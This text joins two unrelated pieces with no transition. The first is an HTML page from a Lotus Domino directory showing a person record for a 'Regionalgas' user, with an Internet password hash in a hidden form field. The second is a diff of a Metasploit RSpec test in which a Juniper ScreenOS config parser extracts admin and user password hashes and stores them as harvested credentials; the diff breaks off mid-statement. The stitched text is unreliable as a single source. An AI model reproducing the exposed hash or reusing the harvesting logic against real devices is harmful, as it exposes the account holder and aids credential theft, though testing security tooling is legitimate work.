var sDocUNID = '9B3aaFA7a1A1bC54d798dB7afA5721E5';
var sDefaultView = 'People';
var sWebDbName = '/names.nsf/';
var isDom6 = true;
</script><script src='/names.nsf/WebJSTools?OpenJavaScriptLibrary'></script>
<script src='/names.nsf/WebJSNavigationTools?OpenJavaScriptLibrary'></script>
<script language="JavaScript" type="text/javascript">
<!--
// ignore if not Domino 6 if (navigator.appCodeName != 'Domino') { if (isDom6) { var hDlgListboxPolicy = new cDlgListbox('Single') } }
// -->
</script>
<script language="JavaScript" type="text/javascript">
<!--
document._domino_target = "_self";
function _doClick(v, o, t) {
var returnValue = false;
var url="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&Click=" + v;
if (o.href != null) {
o.href = url;
returnValue = true;
} else {
if (t == null)
t = document._domino_target;
window.open(url, t);
}
return returnValue;
}
// -->
</script>
<script language="JavaScript" type="text/javascript">
<!--
function Action1_onClick() {
ntEditDoc('[UserModifier]')
}
function Action2_onClick() {
ntCancel()
}
function Action(href,oc,t) { this.href = href; this.onClick = oc; this.target = t; }
var dominoActions = new Array();
dominoActions[1] = new Action(null,Action1_onClick,'_self');
dominoActions[2] = new Action(null,Action2_onClick,'_self');
function doAction(n) {
var action = dominoActions[n];
if (action.href)
window.open(action.href,action.target);
else if (action.onClick) {
currentTarget = document._domino_target;
document._domino_target = action.target;
action.onClick();
document._domino_target = currentTarget;
}}
// -->
</script>
</head>
<body text="#000000" bgcolor="#FFFFFF" topmargin=0 leftmargin=0 marginheight=0 marginwidth=0>
<form onsubmit="// ignore if not Domino 6 if (navigator.appCodeName != 'Domino') { if (isDom6) { syncFields(document.forms[0], 'Certificate') } } return true;" action="">
<applet name="dominoActionBar" code="lotus.notes.apps.actionbar.ActionBar.class" codebase="/domjava" archive="actionbar.jar" alt="Aktionsleiste" width="100%" height="38" mayscript>
<param name="cabbase" value="actionbar.cab">
<param name="BGColor" value="#B1B1D2">
<param name="ButtonBGColor" value="#B1B1D2">
<param name="BorderColor" value="#000000">
<param name="ButtonTransparent" value="1">
<param name="ButtonBorderStyle" value="ONMOUSEOVER">
<param name="BorderStyle" value="1">
<param name="BorderWidth" value="0,3,0,0">
<param name="InnerWidth" value="0,0,0,0">
<param name="OuterWidth" value="0,0,0,0">
<param name="ShowHinkyAlways" value="1">
<param name="ButtonHeightType" value="DEFAULT">
<param name="ButtonHeight" value="8">
<param name="ButtonWidthType" value="DEFAULT">
<param name="ButtonWidth" value="0">
<param name="ButtonTextJustify" value="3">
<param name="FontName" value="Helvetica">
<param name="FontSize" value="9">
<param name="FontStyle" value="P">
<param name="TextColor" value="#000000">
<param name="Action1" value="Edit Person,/names.nsf/btnEdit.gif?OpenImageResource,1,0,1,1,0,0">
<param name="Action2" value="Cancel,/names.nsf/btnCancel.gif?OpenImageResource,2,0,1,1,0,0">
<param name="NumActions" value="2">
</applet>
<table cellpadding=10 width="100%" border="0" cellspacing="0" cellpadding="0">
<tr valign="top"><td style="background-image:url(/names.nsf/people?OpenImageResource); background-repeat: repeat-x; " width="100%"><font size="5" color="#424282">Person</font><font size="5" color="#424282">: </font><b><font size="5" color="#424282">Bdn Alln</font></b><font size="5" color="#424282"> </font><font size="5" color="#424282"> </font><b><font color="#424282"></font></b></td></tr>
</table>
<table border="0" cellspacing="2">
<tr><td>
<table border="1" cellpadding="2">
<tr><td><div align="center"><b>Basics</b></div></td></tr>
</table>
</td><td>
<table border="1" cellpadding="2">
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&amp;TableRow=12.1#12." target="_self">Work/Home</a></div></td></tr>
</table>
</td><td>
<table border="1" cellpadding="2">
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&amp;TableRow=12.2#12." target="_self">Other</a></div></td></tr>
</table>
</td><td>
<table border="1" cellpadding="2">
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&amp;TableRow=12.3#12." target="_self">Miscellaneous</a></div></td></tr>
</table>
</td><td>
<table border="1" cellpadding="2">
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&amp;TableRow=12.4#12." target="_self">Certificates</a></div></td></tr>
</table>
</td><td>
<table border="1" cellpadding="2">
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&amp;TableRow=12.5#12." target="_self">Roaming</a></div></td></tr>
</table>
</td><td>
<table border="1" cellpadding="2">
<tr><td><div align="center"><a name="12." href="/names.nsf/$defaultView/e8f61Ea0aE4DC043b926fe3Ab5aCf0DB?OpenDocument&amp;TableRow=12.8#12." target="_self">Administration</a></div></td></tr>
</table>
</td></tr>
</table>
<table id="Person_Main" cellpadding=7 width="100%" border="0" cellspacing="0" cellpadding="0">
<tr valign="top"><td width="100%">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr valign="top"><td width="54%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<table id="Person_Basics" class="TableSpacing" width="100%" border="0" cellspacing="0" cellpadding="0">
<tr valign="top"><td width="1%" bgcolor="#B1B1D2"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<b><font size="2" color="#FFFFFF">Basics</font></b></td><td width="100%" bgcolor="#B1B1D2"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
</td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">First name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Bdn</font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Middle name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Last name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Alln</font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">User name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Bdn Alln</font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Alternate name:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font>
<p><font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Short name/UserID:</font></td><td width="100%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Bdn Alln</font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Personal title:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Generational qualifier:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Internet password:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
</td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Preferred language</font><font size="2">:</font></td><td width="100%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
</table>
</td><td style="padding-left:10px;" width="0%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
</td><td width="46%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<table id="Person_Mail" class="TableSpacing" width="100%" border="0" cellspacing="0" cellpadding="0">
<tr valign="top"><td width="1%" bgcolor="#B1B1D2"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<b><font size="2" color="#FFFFFF">Mail</font></b></td><td width="100%" bgcolor="#B1B1D2"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
</td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Mail system:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Notes</font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Domain:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Mail server:</font></td><td nowrap width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Mail file:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">portal/Alln_1.nsf</font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Forwarding address:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Internet address:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Format preference for incoming mail:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Keep in senders' format</font></td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">When receiving unencrypted mail, encrypt before storing in your mailfile:</font></td><td width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">No</font></td></tr>
</table>
<table id="PerSchTable" class="TableSpacing" width="100%" border="0" cellspacing="0" cellpadding="0">
<tr valign="top"><td id="PerSchTable_a" width="1%" bgcolor="#B1B1D2" valign="middle"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<b><font size="2" color="#FFFFFF">Collaboration</font></b></td><td id="PerSchTable_b" width="100%" bgcolor="#B1B1D2" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
</td></tr>
<tr valign="top"><td width="1%"><img width="144" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2">Instant messaging server:</font></td><td nowrap width="100%" valign="middle"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
<font size="2"></font></td></tr>
</table>
</td><td width="0%"><img width="1" height="1" src="/icons/ecblank.gif" border="0" alt=""><br>
</td></tr>
</table>
</td></tr>
</table>
<input name="Type" type="hidden" value="Person">
<input name="DisplayName" type="hidden" value="Bdn Alln">
<input name="DisplayMailAddress" type="hidden" value="">
<input name="$HTMLAttributes" type="hidden" value="">
<input name="$dspFirstName" type="hidden" value="Bdn">
<input name="$dspMiddleInitial" type="hidden" value="">
<input name="$dspLastName" type="hidden" value="Alln">
<input name="$dspFullName" type="hidden" value="Bdn Alln">
<input name="$dspAltFullName" type="hidden" value="">
<input name="$dspAltFullNamePdeyuageDisplay" type="hidden" value="">
<input name="$dspShortName" type="hidden" value="Bdn Alln">
<input name="$dspTitle" type="hidden" value="">
<input name="$dspSuffix" type="hidden" value="">
<input name="$dspMailSystem" type="hidden" value="1">
<input name="$dspMailDomain" type="hidden" value="">
<input name="$dspMailServer" type="hidden" value="">
<input name="$dspMailFile" type="hidden" value="portal/Alln_1.nsf">
<input name="$dspCcMailUserName" type="hidden" value="">
<input name="$dspMailAddress" type="hidden" value="">
<input name="$dspCcMailLocation" type="hidden" value="">
<input name="$dspInternetAddress" type="hidden" value="">
<input name="$dspMessageStorage" type="hidden" value="1">
<input name="$dspEncryptIncomingMail" type="hidden" value="0">
<input name="$dspJobTitle" type="hidden" value="">
<input name="$dspOfficeStreetAddress" type="hidden" value="">
<input name="$dspCompanyName" type="hidden" value="Regionalgas">
<input name="$dspOfficeCity" type="hidden" value="">
<input name="$dspDepartment" type="hidden" value="">
<input name="$dspOfficeState" type="hidden" value="">
<input name="$dspEmployeeID" type="hidden" value="">
<input name="$dspOfficeZIP" type="hidden" value="">
<input name="$dspLocation" type="hidden" value="">
<input name="$dspOfficeCountry" type="hidden" value="">
<input name="$dspManager" type="hidden" value="">
<input name="$dspOfficeNumber" type="hidden" value="">
<input name="$dspOfficePhoneNumber" type="hidden" value="">
<input name="$dspOfficeFAXPhoneNumber" type="hidden" value="">
<input name="$dspCellPhoneNumber" type="hidden" value="">
<input name="$dspPhoneNumber_6" type="hidden" value="">
<input name="$dspAssistant" type="hidden" value="">
<input name="$dspStreetAddress" type="hidden" value="">
<input name="$dspCity" type="hidden" value="">
<input name="$dspState" type="hidden" value="">
<input name="$dspZip" type="hidden" value="">
<input name="$dspCountry" type="hidden" value="">
<input name="$dspPhoneNumber" type="hidden" value="">
<input name="$dspHomeFAXPhoneNumber" type="hidden" value="">
<input name="$dspSpouse" type="hidden" value="">
<input name="$dspChildren" type="hidden" value="">
<input name="$dspPersonalID" type="hidden" value="">
<input name="$dspLevel0" type="hidden" value="">
<input name="$dspLevel0_1" type="hidden" value="">
<input name="$dspLevel0_2" type="hidden" value="">
<input name="$dspLevel0_3" type="hidden" value="">
<input name="$dspLevel1" type="hidden" value="">
<input name="$dspLevel1_1" type="hidden" value="">
<input name="$dspLevel1_2" type="hidden" value="">
<input name="$dspLevel1_3" type="hidden" value="">
<input name="$dspLevel2" type="hidden" value="">
<input name="$dspLevel2_1" type="hidden" value="">
<input name="$dspLevel2_2" type="hidden" value="">
<input name="$dspLevel2_3" type="hidden" value="">
<input name="$dspLevel3" type="hidden" value="">
<input name="$dspLevel3_1" type="hidden" value="">
<input name="$dspLevel3_2" type="hidden" value="">
<input name="$dspLevel3_3" type="hidden" value="">
<input name="$dspLevel4" type="hidden" value="">
<input name="$dspLevel4_1" type="hidden" value="">
<input name="$dspLevel4_2" type="hidden" value="">
<input name="$dspLevel4_3" type="hidden" value="">
<input name="$dspLevel5" type="hidden" value="">
<input name="$dspLevel5_1" type="hidden" value="">
<input name="$dspLevel5_2" type="hidden" value="">
<input name="$dspLevel5_3" type="hidden" value="">
<input name="$dspLevel6" type="hidden" value="">
<input name="$dspLevel6_1" type="hidden" value="">
<input name="$dspLevel6_2" type="hidden" value="">
<input name="$dspLevel6_3" type="hidden" value="">
<input name="$dspComment" type="hidden" value="">
<input name="$dspx400Address" type="hidden" value="">
<input name="$dspCalendarDomain" type="hidden" value="">
<input name="$dspWebSite" type="hidden" value="">
<input name="$dspAltFullNameSort" type="hidden" value="">
<input name="$dspCertificate" type="hidden" value="">
<input name="$dspUserCertificateDisplay" type="hidden" value="0">
<input name="$dspX509Issuers" type="hidden" value="">
<input name="$dspPublicKey" type="hidden" value="">
<input name="$dspOwner" type="hidden" value="">
<input name="$dspClientType" type="hidden" value="">
<input name="$dspLocalAdmin" type="hidden" value="">
<input name="$dspProfiles" type="hidden" value="">
<input name="$dspCheckPassword" type="hidden" value="0">
<input name="$dspAvailableForDirSync" type="hidden" value="1">
<input name="$dspPasswordChangeInterval" type="hidden" value="0">
<input name="$dspNetUserName" type="hidden" value="">
<input name="$dspPasswordGracePeriod" type="hidden" value="0">
<input name="$dspSametimeServer" type="hidden" value="">
<input name="$dspPasswordChangeDate" type="hidden" value="">
<input name="$dspPasswordDigest" type="hidden" value="">
<input name="$dspDisplayChangeRequest" type="hidden" value="None">
<input name="FirstName" type="hidden" value="Bdn">
<input name="MiddleInitial" type="hidden" value="">
<input name="LastName" type="hidden" value="Alln">
<input name="FullName" type="hidden" value="Bdn Alln">
<input name="AltFullName" type="hidden" value="">
<input name="AltFullNamePdeyuage" type="hidden" value="">
<input name="AltFullNamePdeyuageDisplay" type="hidden" value="">
<input name="ShortName" type="hidden" value="Bdn Alln">
<input name="Title" type="hidden" value="">
<input name="Suffix" type="hidden" value="">
<input name="HTTPPassword" type="hidden" value="(Da2Bd765Be64aF01b5652ce32eaA283d)">
<input name="preferredPdeyuage" type="hidden" value="">
<input name="MailSystem" type="hidden" value="1">
<input name="MailDomain" type="hidden" value="">
<input name="MailServer" type="hidden" value="">
<input name="MailFile" type="hidden" value="portal/Alln_1.nsf">
<input name="ccMailUserName" type="hidden" value="">
<input name="MailAddress" type="hidden" value="">
<input name="ccMailLocation" type="hidden" value="">
<input name="InternetAddress" type="hidden" value="">
<input name="MessageStorage" type="hidden" value="1">
<input name="EncryptIncomingMail" type="hidden" value="0">
<input name="SametimeServer" type="hidden" value="">
<input name="JobTitle" type="hidden" value="">
<input name="CompanyName" type="hidden" value="Regionalgas">
<input name="Department" type="hidden" value="">
<input name="EmployeeID" type="hidden" value="">
<input name="Location" type="hidden" value="">
<input name="Manager" type="hidden" value="">
<input name="OfficePhoneNumber" type="hidden" value="">
<input name="OfficeFAXPhoneNumber" type="hidden" value="">
<input name="CellPhoneNumber" type="hidden" value="">
<input name="PhoneNumber_6" type="hidden" value="">
<input name="Assistant" type="hidden" value="">
<input name="OfficeStreetAddress" type="hidden" value="">
<input name="OfficeCity" type="hidden" value="">
<input name="OfficeState" type="hidden" value="">
<input name="OfficeZIP" type="hidden" value="">
<input name="OfficeCountry" type="hidden" value="">
<input name="OfficeNumber" type="hidden" value="">
<input name="StreetAddress" type="hidden" value="">
<input name="City" type="hidden" value="">
<input name="State" type="hidden" value="">
<input name="Zip" type="hidden" value="">
<input name="Country" type="hidden" value="">
<input name="PhoneNumber" type="hidden" value="">
<input name="HomeFAXPhoneNumber" type="hidden" value="">
<input name="Spouse" type="hidden" value="">
<input name="Children" type="hidden" value="">
<input name="PersonalID" type="hidden" value="">
<input name="Level0" type="hidden" value="">
<input name="Level0_1" type="hidden" value="">
<input name="Level0_2" type="hidden" value="">
<input name="Level0_3" type="hidden" value="">
<input name="Level1" type="hidden" value="">
<input name="Level1_1" type="hidden" value="">
<input name="Level1_2" type="hidden" value="">
<input name="Level1_3" type="hidden" value="">
<input name="Level2" type="hidden" value="">
<input name="Level2_1" type="hidden" value="">
<input name="Level2_2" type="hidden" value="">
<input name="Level2_3" type="hidden" value="">
<input name="Level3" type="hidden" value="">
<input name="Level3_1" type="hidden" value="">
<input name="Level3_2" type="hidden" value="">
<input name="Level3_3" type="hidden" value="">
<input name="Level4" type="hidden" value="">
<input name="Level4_1" type="hidden" value="">
<input name="Level4_2" type="hidden" value="">
<input name="Level4_3" type="hidden" value="">
<input name="Level5" type="hidden" value="">
<input name="Level5_1" type="hidden" value="">
<input name="Level5_2" type="hidden" value="">
<input name="Level5_3" type="hidden" value="">
<input name="Level6" type="hidden" value="">
<input name="Level6_1" type="hidden" value="">
<input name="Level6_2" type="hidden" value="">
<input name="Level6_3" type="hidden" value="">
<input name="Comment" type="hidden" value="">
<input name="x400Address" type="hidden" value="">
<input name="CalendarDomain" type="hidden" value="">
<input name="WebSite" type="hidden" value="">
<input name="PhotoURL" type="hidden" value="">
<input name="AltFullNameSort" type="hidden" value="">
<input name="CertificateDisplay" type="hidden" value="0">
<input name="Certificate" type="hidden" value="">
<input name="ChangeRequest" type="hidden" value="">
<input name="UserCertificateDisplay" type="hidden" value="0">
<input name="X509Issuers" type="hidden" value="">
<input name="PublicKey" type="hidden" value="">
<input name="RoamingUser" type="hidden" value="0">
<input name="RoamSrvr" type="hidden" value="">
<input name="RoamRplSrvrs" type="hidden" value="">
<input name="RoamSubdir" type="hidden" value="">
<input name="RoamAB" type="hidden" value="">
<input name="BkmksFile" type="hidden" value="">
<input name="JrnlFile" type="hidden" value="">
<input name="RoamExtFiles" type="hidden" value="">
<input name="RoamMode" type="hidden" value="">
<input name="RoamCleanSetting" type="hidden" value="0">
<input name="RoamCleanSettingDsp" type="hidden" value="Do not clean-up">
<input name="RoamCleanPer" type="hidden" value="1">
<input name="Owner" type="hidden" value="">
<input name="LocalAdmin" type="hidden" value="">
<input name="AvailableForDirSync" type="hidden" value="1">
<input name="LastMod" type="hidden" value="05/11/2017 08:22:13 AM CRM Portal/EUS/GVE">
<input name="CheckPassword" type="hidden" value="0">
<input name="PasswordChangeInterval" type="hidden" value="0">
<input name="PasswordGracePeriod" type="hidden" value="0">
<input name="PasswordChangeDate" type="hidden" value="">
<input name="PasswordDigest" type="hidden" value="">
<input name="HTTPPasswordChangeDate" type="hidden" value="">
<input name="HTTPPasswordForceChange" type="hidden" value="1">
<input name="DispPolicy" type="hidden" value="">
<input name="Policy" type="hidden" value="">
<input name="Profiles" type="hidden" value="">
<input name="DisplayChangeRequest" type="hidden" value="None">
<input name="NetUserName" type="hidden" value="">
<input name="LTPA_UsrNm" type="hidden" value="">
<input name="DB2UserName" type="hidden" value="">
<input name="krbPrincipalName" type="hidden" value="">
<input name="ClientType" type="hidden" value="">
<input name="ClntMachine" type="hidden" value="">
<input name="ClntBld" type="hidden" value="">
<input name="ClntPltfrm" type="hidden" value="">
<input name="ClntDate" type="hidden" value="">
<input name="DocumentAccess" type="hidden" value="[UserModifier]">
<input name="tmpNow" type="hidden" value="04/29/2022 04:17 PM CEDT">
<input name="$CryptoCap" type="hidden" value="0">
<input name="$Person_Main" type="hidden" value="0">
<input name="$Person_Detail" type="hidden" value="0">
<input name="$Person_Cert" type="hidden" value="0">
<input name="$dspTTControl" type="hidden" value="">
<input name="ibm_bhMailInfo" type="hidden" value="">
<input name="OU" type="hidden" value="">
<input name="PostalAddress" type="hidden" value="">
<input name="HomePostalAddress" type="hidden" value="">
<input name="Street" type="hidden" value="">
<input name="businessCategory" type="hidden" value="">
<input name="carLicense" type="hidden" value="">
<input name="departmentNumber" type="hidden" value="">
<input name="employeeNumber" type="hidden" value="">
<input name="employeeType" type="hidden" value="">
<input name="initials" type="hidden" value="">
<input name="labeledURI" type="hidden" value="">
<input name="o" type="hidden" value="">
<input name="roomNumber" type="hidden" value="">
<input name="UserCertificate" type="hidden" value="">
<input name="x500UniqueIdentifier" type="hidden" value="">
<input name="x121Address" type="hidden" value="">
<input name="registeredAddress" type="hidden" value="">
<input name="destinationIndicator" type="hidden" value="">
<input name="preferredDeliveryMethod" type="hidden" value="">
<input name="telexNumber" type="hidden" value="">
<input name="telexGgkehgalIdentifier" type="hidden" value="">
<input name="internationaliSDNNumber" type="hidden" value="">
<input name="seeAlso" type="hidden" value=""></form>
</body>
</html>
+399 -238
View File
@@ -1,31 +1,36 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'spec_helper'
RSpec.describe Msf::Auxiliary::Juniper do
class DummyJuniperClass
include Msf::Auxiliary::Juniper
def framework
Msf::Simple::Framework.create(
'ConfigDirectory' => Rails.root.join('spec', 'dummy', 'framework', 'config').to_s,
# don't load any module paths so we can just load the module under test and save time
'DeferModuleLoads' => true
'ConfigDirectory' => Rails.root.join('spec', 'dummy', 'framework', 'config').to_s,
# don't load any module paths so we can just load the module under test and save time
'DeferModuleLoads' => true
)
end
def active_db?
true
end
def print_good(str=nil)
raise StandardError.new("This method needs to be stubbed.")
def print_good(_str = nil)
raise StandardError, 'This method needs to be stubbed.'
end
def store_cred(hsh=nil)
raise StandardError.new("This method needs to be stubbed.")
def store_cred(_hsh = nil)
raise StandardError, 'This method needs to be stubbed.'
end
def fullname
"auxiliary/scanner/snmp/juniper_dummy"
'auxiliary/scanner/snmp/juniper_dummy'
end
def myworkspace
raise StandardError.new("This method needs to be stubbed.")
raise StandardError, 'This method needs to be stubbed.'
end
end
@@ -34,12 +39,11 @@ RSpec.describe Msf::Auxiliary::Juniper do
let!(:workspace) { FactoryBot.create(:mdm_workspace) }
context '#create_credential_and_login' do
let(:session) { FactoryBot.create(:mdm_session) }
let(:task) { FactoryBot.create(:mdm_task, workspace: workspace)}
let(:task) { FactoryBot.create(:mdm_task, workspace: workspace) }
let(:user) { FactoryBot.create(:mdm_user)}
let(:user) { FactoryBot.create(:mdm_user) }
subject(:test_object) { DummyJuniperClass.new }
@@ -47,7 +51,7 @@ RSpec.describe Msf::Auxiliary::Juniper do
let(:service) { FactoryBot.create(:mdm_service, host: FactoryBot.create(:mdm_host, workspace: workspace)) }
let(:task) { FactoryBot.create(:mdm_task, workspace: workspace) }
let(:login_data) {
let(:login_data) do
{
address: service.host.address,
port: service.port,
@@ -63,12 +67,12 @@ RSpec.describe Msf::Auxiliary::Juniper do
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
}
end
it 'creates a Metasploit::Credential::Login' do
expect{test_object.create_credential_and_login(login_data)}.to change{Metasploit::Credential::Login.count}.by(1)
expect { test_object.create_credential_and_login(login_data) }.to change { Metasploit::Credential::Login.count }.by(1)
end
it "associates the Metasploit::Credential::Core with a task if passed" do
it 'associates the Metasploit::Credential::Core with a task if passed' do
login = test_object.create_credential_and_login(login_data.merge(task_id: task.id))
expect(login.tasks).to include(task)
end
@@ -81,164 +85,159 @@ RSpec.describe Msf::Auxiliary::Juniper do
it 'deals with admin credentials' do
expect(aux_juniper).to receive(:print_good).with('Admin user netscreen found with password hash nKVUM2rwMUzPcrkG5sWIHdCtqkAibn')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper ScreenOS'})
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper ScreenOS' })
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "127.0.0.1",
address: '127.0.0.1',
port: 161,
protocol: "tcp",
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
username: "netscreen",
private_data: "nKVUM2rwMUzPcrkG5sWIHdCtqkAibn",
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
username: 'netscreen',
private_data: 'nKVUM2rwMUzPcrkG5sWIHdCtqkAibn',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_screenos_config_eater('127.0.0.1',161,
"set admin name \"netscreen\"\n" <<
"set admin password \"nKVUM2rwMUzPcrkG5sWIHdCtqkAibn\"\n")
aux_juniper.juniper_screenos_config_eater('127.0.0.1', 161,
"set admin name \"netscreen\"\n" <<
"set admin password \"nKVUM2rwMUzPcrkG5sWIHdCtqkAibn\"\n")
end
it 'deals with user account with password hash' do
expect(aux_juniper).to receive(:print_good).with('User 1 named testuser found with password hash 02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE=. Enable permission: enable')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper ScreenOS'})
expect(aux_juniper).to receive(:store_loot).with("juniper.netscreen.config", "text/plain", "127.0.0.1",
"set user \"testuser\" uid 1\n" <<
"set user \"testuser\" type auth\n" <<
"set user \"testuser\" hash-password \"02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE=\"\n" <<
"set user \"testuser\" enable",
"config.txt", "Juniper Netscreen Configuration"
)
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper ScreenOS' })
expect(aux_juniper).to receive(:store_loot).with('juniper.netscreen.config', 'text/plain', '127.0.0.1',
"set user \"testuser\" uid 1\n" <<
"set user \"testuser\" type auth\n" <<
"set user \"testuser\" hash-password \"02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE=\"\n" <<
'set user "testuser" enable',
'config.txt', 'Juniper Netscreen Configuration')
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "127.0.0.1",
address: '127.0.0.1',
port: 1337,
protocol: "tcp",
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
username: "testuser",
jtr_format: "sha1",
private_data: "02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE=",
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
username: 'testuser',
jtr_format: 'sha1',
private_data: '02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE=',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_screenos_config_eater('127.0.0.1',1337,
"set user \"testuser\" uid 1\n" <<
"set user \"testuser\" type auth\n" <<
"set user \"testuser\" hash-password \"02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE=\"\n" <<
"set user \"testuser\" enable\n")
aux_juniper.juniper_screenos_config_eater('127.0.0.1', 1337,
"set user \"testuser\" uid 1\n" <<
